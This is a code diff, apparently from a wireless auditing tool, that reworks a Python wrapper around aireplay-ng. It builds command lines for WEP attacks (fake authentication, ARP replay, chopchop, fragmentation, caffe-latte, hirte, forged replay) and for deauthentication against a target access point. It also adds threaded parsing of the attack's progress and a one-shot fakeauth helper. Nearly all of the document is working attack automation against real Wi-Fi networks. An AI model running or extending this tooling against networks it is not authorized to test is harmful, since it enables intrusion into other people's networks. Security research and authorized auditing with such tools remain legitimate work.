3
3
4
4
from Configuration import Configuration
5
5
from Process import Process
6
+ from Timer import Timer
6
7
7
- import os , time
8
+ import os , time , re
9
+ from threading import Thread
8
10
9
11
class WEPAttackType (object ):
10
12
''' Enumeration of different WEP attack types '''
@@ -52,36 +54,31 @@ def __str__(self):
52
54
return self .name
53
55
54
56
55
- class Aireplay (object ):
56
- def __init__ (self , target , attack_type , client_mac = None , replay_file = None , devnull = False ):
57
+ class Aireplay (Thread ):
58
+ def __init__ (self , target , attack_type , client_mac = None , replay_file = None ):
57
59
'''
58
60
Starts aireplay process.
59
61
Args:
60
62
target - Instance of Target object, AP to attack.
61
- attack_type - int, str, or WEPAttackType instance .
63
+ attack_type - str, e.g. "fakeauth", "arpreplay", etc .
62
64
client_mac - MAC address of an associated client.
63
65
'''
64
- cmd = Aireplay .get_aireplay_command (target ,
66
+ super (Aireplay , self ).__init__ () # Init the parent Thread
67
+
68
+ self .target = target
69
+ self .output_file = Configuration .temp ("aireplay_%s.output" % attack_type )
70
+ self .attack_type = WEPAttackType (attack_type ).value
71
+ self .error = None
72
+ self .status = None
73
+ self .cmd = Aireplay .get_aireplay_command (self .target ,
65
74
attack_type ,
66
75
client_mac = client_mac ,
67
76
replay_file = replay_file )
68
-
69
- # TODO: set 'stdout' when creating process to store output to file.
70
- # AttackWEP will read file to get status of attack.
71
- # E.g., chopchop will regex "\(\s?(\d+)% done" to get percent complete.
72
- '''
73
- if not devnull and attack_type == WEPAttackType.chopchop:
74
- sout = open(Configuration.temp('chopchop.out'), 'w')
75
- # Output sample:
76
- # Offset 70 (11% done) | xor = 7A | pt = 00 | 24 frames written in 409ms
77
- else:
78
- sout = Process.devnull()
79
- serr = Process.devnull()
80
- '''
81
-
82
- self .pid = Process (cmd ,
83
- devnull = devnull ,
84
- cwd = Configuration .temp ())
77
+ self .pid = Process (self .cmd ,
78
+ stdout = open (self .output_file , 'a' ),
79
+ stderr = Process .devnull (),
80
+ cwd = Configuration .temp ())
81
+ self .start ()
85
82
86
83
def is_running (self ):
87
84
return self .pid .poll () == None
@@ -95,6 +92,85 @@ def get_output(self):
95
92
''' Returns stdout from aireplay process '''
96
93
return self .pid .stdout ()
97
94
95
+ def run (self ):
96
+ while self .pid .poll () is None :
97
+ time .sleep (0.1 )
98
+ if not os .path .exists (self .output_file ): continue
99
+ # Read output file
100
+ f = open (self .output_file , "r" )
101
+ lines = f .read ()
102
+ f .close ()
103
+ # Clear output file
104
+ f = open (self .output_file , "w" )
105
+ f .write ("" )
106
+ f .close ()
107
+ for line in lines .split ("\n " ):
108
+ line = line .replace ("\r " , "" ).strip ()
109
+ if line == "" : continue
110
+ if "Notice: got a deauth/disassoc packet" in line :
111
+ self .error = "Not associated (needs fakeauth)"
112
+
113
+ if self .attack_type == WEPAttackType .fakeauth :
114
+ # Look for fakeauth status. Potential Output lines:
115
+ # (START): 00:54:58 Sending Authentication Request (Open System)
116
+ if "Sending Authentication Request " in line :
117
+ self .status = None # Reset
118
+ # (????): Please specify an ESSID (-e).
119
+ elif "Please specify an ESSID" in line :
120
+ self .status = None
121
+ # (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
122
+ elif "Got a deauthentication packet!" in line :
123
+ self .status = False
124
+ # (PASS): 20:17:25 Association successful :-) (AID: 1)
125
+ # (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
126
+ elif "association successful :-)" in line .lower ():
127
+ self .status = True
128
+ elif self .attack_type == WEPAttackType .chopchop :
129
+ # Look for chopchop status. Potential output lines:
130
+ # (START) Read 178 packets...
131
+ read_re = re .compile (r"Read (\d+) packets" )
132
+ matches = read_re .match (line )
133
+ if matches :
134
+ self .status = "Waiting for packet (read %s)..." % matches .group (1 )
135
+ # (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
136
+ offset_re = re .compile (r"Offset.*\(\s*(\d+%) done\)" )
137
+ matches = offset_re .match (line )
138
+ if matches :
139
+ self .status = "Generating Xor (%s)" % matches .group (1 )
140
+ # (DONE) Saving keystream in replay_dec-0516-202246.xor
141
+ saving_re = re .compile (r"Saving keystream in (.*\.xor)" )
142
+ matches = saving_re .match (line )
143
+ if matches :
144
+ self .status = matches .group (1 )
145
+ pass
146
+ elif self .attack_type == WEPAttackType .fragment :
147
+ # TODO: Parse fragment output, update self.status
148
+ # 01:08:15 Waiting for a data packet...
149
+ # 01:08:17 Sending fragmented packet
150
+ # 01:08:37 Still nothing, trying another packet...
151
+ # XX:XX:XX Trying to get 1500 bytes of a keystream
152
+ # XX:XX:XX Got RELAYED packet!!
153
+ # XX:XX:XX Thats our ARP packet!
154
+ # XX:XX:XX Saving keystream in fragment-0124-161129.xor
155
+ # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
156
+ pass
157
+ else : # Replay, forged replay, etc.
158
+ # Parse Packets Sent & PacketsPerSecond. Possible output lines:
159
+ # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
160
+ # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
161
+ read_re = re .compile (r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)" )
162
+ matches = read_re .match (line )
163
+ if matches :
164
+ pps = matches .group (5 )
165
+ if pps == "0" :
166
+ self .status = "Waiting for packet..."
167
+ else :
168
+ self .status = "Replaying packet @ %s/sec" % pps
169
+ pass
170
+
171
+ def __del__ (self ):
172
+ self .stop ()
173
+
98
174
@staticmethod
99
175
def get_aireplay_command (target , attack_type ,
100
176
client_mac = None , replay_file = None ):
@@ -112,8 +188,8 @@ def get_aireplay_command(target, attack_type,
112
188
if Configuration .interface == None :
113
189
raise Exception ("Wireless interface must be defined (-i)" )
114
190
115
- cmd = [' aireplay-ng' ]
116
- cmd .append (' --ignore-negative-one' )
191
+ cmd = [" aireplay-ng" ]
192
+ cmd .append (" --ignore-negative-one" )
117
193
118
194
if not client_mac and len (target .clients ) > 0 :
119
195
# Client MAC wasn't specified, but there's an associated client. Use that.
@@ -124,72 +200,86 @@ def get_aireplay_command(target, attack_type,
124
200
attack_type = WEPAttackType (attack_type ).value
125
201
126
202
if attack_type == WEPAttackType .fakeauth :
127
- cmd .extend (['-1' , '0' ]) # Fake auth, no delay
128
- cmd .extend (['-a' , target .bssid ])
129
- cmd .extend (['-T' , '3' ]) # Make 3 attempts
203
+ cmd .extend ([
204
+ "--fakeauth" , "30" , # Fake auth every 30 seconds
205
+ "-Q" , # Send re-association packets
206
+ "-a" , target .bssid
207
+ ])
130
208
if target .essid_known :
131
- cmd .extend (['-e' , target .essid ])
132
- # Do not specify client MAC address,
133
- # we're trying to fake-authenticate using *our* MAC
134
-
209
+ cmd .extend (["-e" , target .essid ])
135
210
elif attack_type == WEPAttackType .replay :
136
- cmd .append ('--arpreplay' )
137
- cmd .extend (['-b' , target .bssid ])
138
- cmd .extend (['-x' , str (Configuration .wep_pps )])
211
+ cmd .extend ([
212
+ "--arpreplay" ,
213
+ "-b" , target .bssid ,
214
+ "-x" , str (Configuration .wep_pps )
215
+ ])
139
216
if client_mac :
140
- cmd .extend (['-h' , client_mac ])
217
+ cmd .extend (["-h" , client_mac ])
141
218
142
219
elif attack_type == WEPAttackType .chopchop :
143
- cmd .append ('--chopchop' )
144
- cmd .extend (['-b' , target .bssid ])
145
- cmd .extend (['-x' , str (Configuration .wep_pps )])
146
- cmd .extend (['-m' , '60' ]) # Minimum packet length (bytes)
147
- cmd .extend (['-n' , '82' ]) # Maximum packet length
148
- cmd .extend (['-F' ]) # Automatically choose first packet
220
+ cmd .extend ([
221
+ "--chopchop" ,
222
+ "-b" , target .bssid ,
223
+ "-x" , str (Configuration .wep_pps ),
224
+ #"-m", "60", # Minimum packet length (bytes)
225
+ #"-n", "82", # Maximum packet length
226
+ "-F" # Automatically choose first packet
227
+ ])
149
228
if client_mac :
150
- cmd .extend (['-h' , client_mac ])
229
+ cmd .extend (["-h" , client_mac ])
151
230
152
231
elif attack_type == WEPAttackType .fragment :
153
- cmd .append ('--fragment' )
154
- cmd .extend (['-b' , target .bssid ])
155
- cmd .extend (['-x' , str (Configuration .wep_pps )])
156
- cmd .extend (['-m' , '100' ]) # Minimum packet length (bytes)
157
- cmd .extend (['-F' ]) # Automatically choose first packet
232
+ cmd .extend ([
233
+ "--fragment" ,
234
+ "-b" , target .bssid ,
235
+ "-x" , str (Configuration .wep_pps ),
236
+ "-m" , "100" , # Minimum packet length (bytes)
237
+ "-F" # Automatically choose first packet
238
+ ])
158
239
if client_mac :
159
- cmd .extend (['-h' , client_mac ])
240
+ cmd .extend (["-h" , client_mac ])
160
241
161
242
elif attack_type == WEPAttackType .caffelatte :
162
- cmd .append ('--caffe-latte' )
163
- cmd .extend (['-b' , target .bssid ])
164
- if client_mac :
165
- cmd .extend (['-h' , client_mac ])
243
+ if len (target .clients ) == 0 :
244
+ # Unable to carry out caffe-latte attack
245
+ raise Exception ("Client is required for caffe-latte attack" )
246
+ cmd .extend ([
247
+ "--caffe-latte" ,
248
+ "-b" , target .bssid ,
249
+ "-h" , target .clients [0 ].station
250
+ ])
166
251
167
252
elif attack_type == WEPAttackType .p0841 :
168
- cmd .append ('--arpreplay' )
169
- cmd .extend (['-b' , target .bssid ])
170
- cmd .extend (['-c' , 'ff:ff:ff:ff:ff:ff' ])
171
- cmd .extend (['-x' , str (Configuration .wep_pps )])
172
- cmd .extend (['-F' ]) # Automatically choose first packet
173
- cmd .extend (['-p' , '0841' ])
253
+ cmd .extend ([
254
+ "--arpreplay" ,
255
+ "-b" , target .bssid ,
256
+ "-c" , "ff:ff:ff:ff:ff:ff" ,
257
+ "-x" , str (Configuration .wep_pps ),
258
+ "-F" , # Automatically choose first packet
259
+ "-p" , "0841"
260
+ ])
174
261
if client_mac :
175
- cmd .extend (['-h' , client_mac ])
262
+ cmd .extend (["-h" , client_mac ])
176
263
177
264
elif attack_type == WEPAttackType .hirte :
178
265
if client_mac == None :
179
266
# Unable to carry out hirte attack
180
267
raise Exception ("Client is required for hirte attack" )
181
- cmd .append ('--cfrag' )
182
- cmd .extend (['-h' , client_mac ])
268
+ cmd .extend ([
269
+ "--cfrag" ,
270
+ "-h" , client_mac
271
+ ])
183
272
elif attack_type == WEPAttackType .forgedreplay :
184
273
if client_mac == None or replay_file == None :
185
- raise Exception (
186
- "Client_mac and Replay_File are required for arp replay" )
187
- cmd .append ('--arpreplay' )
188
- cmd .extend (['-b' , target .bssid ])
189
- cmd .extend (['-h' , client_mac ])
190
- cmd .extend (['-r' , replay_file ])
191
- cmd .extend (['-F' ]) # Automatically choose first packet
192
- cmd .extend (['-x' , str (Configuration .wep_pps )])
274
+ raise Exception ("Client_mac and Replay_File are required for arp replay" )
275
+ cmd .extend ([
276
+ "--arpreplay" ,
277
+ "-b" , target .bssid ,
278
+ "-h" , client_mac ,
279
+ "-r" , replay_file ,
280
+ "-F" , # Automatically choose first packet
281
+ "-x" , str (Configuration .wep_pps )
282
+ ])
193
283
else :
194
284
raise Exception ("Unexpected attack type: %s" % attack_type )
195
285
@@ -250,6 +340,40 @@ def deauth(target_bssid, client_mac=None, num_deauths=1, timeout=2):
250
340
proc .interrupt ()
251
341
time .sleep (0.2 )
252
342
343
+ @staticmethod
344
+ def fakeauth (target , timeout = 5 , num_attempts = 3 ):
345
+ '''
346
+ Tries a one-time fake-authenticate with a target AP.
347
+ Params:
348
+ target (py.Target): Instance of py.Target
349
+ timeout (int): Time to wait for fakeuth to succeed.
350
+ num_attempts (int): Number of fakeauth attempts to make.
351
+ Returns:
352
+ (bool): True if fakeauth succeeds, otherwise False
353
+ '''
354
+
355
+ cmd = [
356
+ 'aireplay-ng' ,
357
+ '-1' , '0' , # Fake auth, no delay
358
+ '-a' , target .bssid ,
359
+ '-T' , str (num_attempts )
360
+ ]
361
+ if target .essid_known :
362
+ cmd .extend (['-e' , target .essid ])
363
+ cmd .append (Configuration .interface )
364
+ fakeauth_proc = Process (cmd ,
365
+ devnull = False ,
366
+ cwd = Configuration .temp ())
367
+
368
+ timer = Timer (timeout )
369
+ while fakeauth_proc .poll () is None and not timer .ended ():
370
+ time .sleep (0.1 )
371
+ if fakeauth_proc .poll () is None or timer .ended ():
372
+ fakeauth_proc .interrupt ()
373
+ return False
374
+ output = fakeauth_proc .stdout ()
375
+ return 'association successful' in output .lower ()
376
+
253
377
if __name__ == '__main__' :
254
378
t = WEPAttackType (4 )
255
379
print t .name , type (t .name ), t .value
@@ -263,9 +387,6 @@ def deauth(target_bssid, client_mac=None, num_deauths=1, timeout=2):
263
387
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ' .split (',' )
264
388
t = Target (fields )
265
389
266
- cmd = Aireplay .get_aireplay_command (t , 'fakeauth' )
267
- print ' ' .join (['"%s"' % a for a in cmd ])
268
-
269
390
'''
270
391
aireplay = Aireplay(t, 'replay')
271
392
while aireplay.is_running():
0 commit comments